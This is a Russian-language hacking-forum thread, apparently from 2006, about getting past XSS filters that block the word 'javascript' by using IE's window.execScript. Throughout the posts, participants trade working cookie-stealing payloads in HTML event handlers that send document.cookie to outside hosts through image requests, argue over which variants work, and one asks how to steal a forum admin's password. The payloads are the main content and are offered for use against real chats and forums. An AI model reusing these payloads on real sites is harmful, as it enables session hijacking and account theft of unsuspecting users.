Просмотр полной версии : Проводим XSS без javascript
Эту писанину трудно назвать статьей, она скоре является дополнением к написанному Algol'ом по XSS.
Думаю многим из вас приходилось встречать чаты/форумы/др. в которых присутвует уязвимость XSS, но провести ее сложно, по причине фильтрации магических слов javascript и vbscript, и модификации типа JaVasCriPt, javascript(с пробелами или табуляцией в начале),&#xx... и прочее не помогает. Так вот убедившись, что слово javascript наглухо фильтруется, есть возможность попробовать альтернативу execScript(это метод объекта window). Как написано в документации execScript - "Выполняет заданный сценарий".
Рассмотрим на простом примере:
Классический случай:
<font color=red onmouseover=javascript:alert()>алерт работает!</font>
Используем execScript:
<font color=red onmouseover=window.execScript(alert())>И тут работает!</font>
Эффект тот же=))
Но, видимо, популярность такого метода не такая высокая как у классического по причине есго кривости...изначально в документации синтаксис execScript выглядит так:window.execScript(выражение [,язык]), но в последних версиях IE execScript не поймет даже такую строку execScript("a=1;alert(a)"). Выяснено, что он категорически не любит пробелы кавычки и ряд других необходимых символов(например для угона кукисов).
Попробуйте:
<font color=red onmouseover=window.execScript(q="http://antichat.org/s/xex.gif?"+document.cookie)>не работает!</font>
Для решения первой проблемы(невозможность использовать несколько команд одновременно(execScript(a=1;alert(a))) мы используем следующую особенность:
<font color=red onmouseover=window.execScript(alert());window.exec Script(alert())>Два алерта!</font>
т.е. через ; можем использовать несколько подряд идущих методов, что уже неплохо.
А для решения второй проблемы(его нелюбовь к кавычкам и прочим символам) используем такую замечательную вещь как функции, типа alert, eval, isNaN и возможно прочие. Из этих трех мне приглянулась isNaN. Назначение этих функций для нас не важно, вся фича в том, что эти функции неким магическим способом(кому надо сам разберется) позволяют нам творить невозможное=)
Смотрим:
<font color=red onmouseover=window.execScript(isNaN(q="http://antichat.org/s/we.gif?"+document.cookie));window.execScript(alert(q))>Получилось!</font>
Т.е. мы решили вторую проблему, таким образом мы создаем полноценную "куки-тырилку", несмотря на паранойю разработчика=))
P.S.Возможно это уже где-то описывалось, не встречал.
P.S.S.За всеми вопросами пишем сюда...
прикольно ! тоже самое можно сделать и на vbs
cool (https:---------------------------------------------)
гыг.. ша испытаем в полевых условиях...
--------------------------------------
не уверен, но кажися я подоное где-то уже видел :D
А нах этот гемор.
<font color=red onmouseover=javascript:alert()>алерт работает!</font>
Можно просто
<font color=red onmouseover=alert()>алерт работает!</font>
потому что события и так обрабтываются javascript`oм.
Автор спасибо тебе большое! Я давно так не смеялся!
Во-первых код который ты дал для воровки кук работать не будет, будет только алерт твоего скрипта воровки кук лол.
Дальше, научись писать ок? тогда все у тебя будет работать.
Алерт во всех браузерах.
<font color=red onmouseover=window.execScript("a=1;alert(a)")>И тут работает!</font>
Воровка кук во всех браузерах.
<font color=red onmouseover=window.execScript("img=new/**/Image();img.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;")>Получилось!</font>
А так уже все? "Прикрыли" да?
<font color=red onmouseover=a=1;alert(a)>И тут работает!</font>
<font color=red onmouseover=img=new/**/Image();img.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;>Получилось!</font>
Или ты просто написал для выкрутасывания?
Ну можно тогда повыкрутасыватся и вот так воть,
<font color=red onmouseover=img=new/**/Image();img.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;eval(img);>Получилось!</font>
Во-общем пиши побольше статей, в разделе юмор качественных таких вот статейяк которые являются статейками продолжениями статей Алгола - мало.
To Victor: ошибаешься, все что ты написал, должен знать любой...я считаю это базисом и не посчитал нужным расписывать...
P.S>процитируцй над чем ты смеялся...
S']А нах этот гемор.
<font color=red onmouseover=javascript:alert()>алерт работает!</font>
Можно просто
<font color=red onmouseover=alert()>алерт работает!</font>
потому что события и так обрабтываются javascript`oм.
Это условности...повторюсь, кому надо тот код сам допишет, здесь только идея...
To Victor: ошибаешься, все что ты написал, должен знать любой...я считаю это базисом и не посчитал нужным расписывать...
P.S>процитируцй над чем ты смеялся...
Над тем как ты пишешь свои коды которые не работают лол.
<font color=red onmouseover=window.execScript(isNaN(q="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie));window.execScript(alert(q))>Получилось!</font>
Вот так допустим все что будет работать, так это алерт который будет орать
http://antichat.ru/cgi-bin/s.jpg?
И не болие.
Эту писанину трудно назвать статьей, она скоре является дополнением к написанному Algol'ом по XSS.
Тут Я упал.
Но, видимо, популярность такого метода не такая высокая как у классического по причине есго кривости...
Имхо ну что ты мелешь....JavaScript это вообще протокол, execScript это метод переходить c одного языка на другой.
Выяснено, что он категорически не любит пробелы кавычки и ряд других необходимых символов(например для угона кукисов).
Да не он не любит, а ты не правильно пишешь.
<font color=red onmouseover=window.execScript(q="http://antichat.org/s/xex.gif?"+document.cookie)>не работает!</font>
И почему это должно работать? О_О
Мда, короче мда, дальше цитировать думаю не стоит.
Над тем как ты пишешь свои коды которые не работают лол..
Все тама работает, руки проверь...
Вот так допустим все что будет работать, так это алерт который будет орать
И не болие.
Рад за тебя, что ты алерт, от всегоотсального отличаешь....
....JavaScript это вообще протокол, execScript это метод переходить c одного языка на другой.
И что мне мешает использовать его нестандартно?
Да не он не любит, а ты не правильно пишешь.
И почему это должно работать? О_О
Бред...Желание до*б*атся...
To Victor:если хочется похамится пиши в пм, не засоряем...
Все тама работает, руки проверь...
Рад за тебя, что ты алерт, от всегоотсального отличаешь....
И что мне мешает использовать его нестандартно?
Бред...Желание до*б*атся...
Мда.....у тебя код воровки кук не может работать и не работает. Проверь для начала. Во-первых по какому принципу он будет у тебя работать? Ты у кого статью спер признавайся нука быстро....
Рад за тебя, что ты алерт, от всегоотсального отличаешь....
Мда, все что Я говорил ты просто забыл и тему сменил.
У тебя алерт есть, но кук воровки быть не может в твоем коде.
И что мне мешает использовать его нестандартно?
Как понять нестандартно? о_О
Так вот убедившись, что слово javascript наглухо фильтруется, есть возможность попробовать альтернативу execScript
Ответ,
Имхо ну что ты мелешь....JavaScript это вообще протокол, execScript это метод переходить c одного языка на другой.
Слова выбирай и кончай курить.
Бред...Желание до*б*атся...
Вот Я тоже подумал когда статью твою прочел. Еще на меня смех напал.
Короче не смеши гусей, Я написал тебе готовые коды как правильно писать надо, что ты сейчас хочешь выяснить Я не понимаю.....
Статья = бред.
Код воровки кук у тебя не работает и не может работать.
Эту писанину трудно назвать статьей, она скоре является дополнением к написанному Algol'ом по XSS.
Это Я сую в свою подпись.
Специально для неугомонного Victor:
Вот код ворования кукисов:
<font color=red onmouseover=window.execScript(isNaN(q="http://antichat.org/s/xex.gif?"+document.cookie));window.execScript(isNaN(documen t.images[0].src=q))>Welcome!</font>
я думаю ты не будешь докапыватся до images[0], ибо где ты эту атаку проводить будешь, наверняка есть рисунки, ЕСЛИ НЕТ, то можно и множеством других способов сделать то же самое...
А как мона на YaBB форуме пороль админа стибзить???
А с каких это пор Javascript стал протоколом?
А с каких это пор Javascript стал протоколом?
лол....
Xex, Я тебе уже давал рабочие примеры ты не правильно коды пишешь. :)
млин какой ты непонятливый...на что мне твои примеры рабочие...проверь...лично у меня все работает...а таких рабочих примеров я сам знаю как строить...
back0rifice
24.08.2006, 05:57
JavaScript это вообще протокол
Угу, а "Turbo Assembler" - это беспроводная подводная лодка с вертикальным взлётом... Япацтулом :D ...
Для справки: Java Script является интерпретируемым языком программирования, который используется для описания различных сценариев поведения браузера.
Знаешь, Victor, может topicstarter что-то и написал неверно, но, по крайней мере, было, над чем призадуматься. Чего-то не нравится? Так объясни человеку нормально и вдумчиво, где именно он не прав, без всяких LOL'ов и выпендрёжа. Автор - X7R!
Уже лето 2006 заканчивается=)))
Знаешь, Victor, может topicstarter что-то и написал неверно, но, по крайней мере, было, над чем призадуматься. Чего-то не нравится? Так объясни человеку нормально и вдумчиво, где именно он не прав, без всяких LOL'ов и выпендрёжа
Имхо он не может так обяснить потому что Victor это WJ
back0rifice
24.08.2006, 22:51
OFFTOP
Понял, пошёл :) ...
Уже лето 2006 заканчивается=)))
Да, я в курсе ;) ...
Firefox и Opera не отреагировали даже на алерт, ну а если уж IE высветил "ограничение отображения активного содержимого", то эта замена не пойдет.
там меня поправили читай все посты...
P>s>к модерам: может подправить статью?
А если фильтр не пропускает onmouseover ?
Digimortal
18.10.2006, 02:14
А если фильтр не пропускает onmouseover ?
тогда пробуй
<BODY ONLOAD=alert('XSS')>
А есть другие варианты, акромя BODY и onmouseover?
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot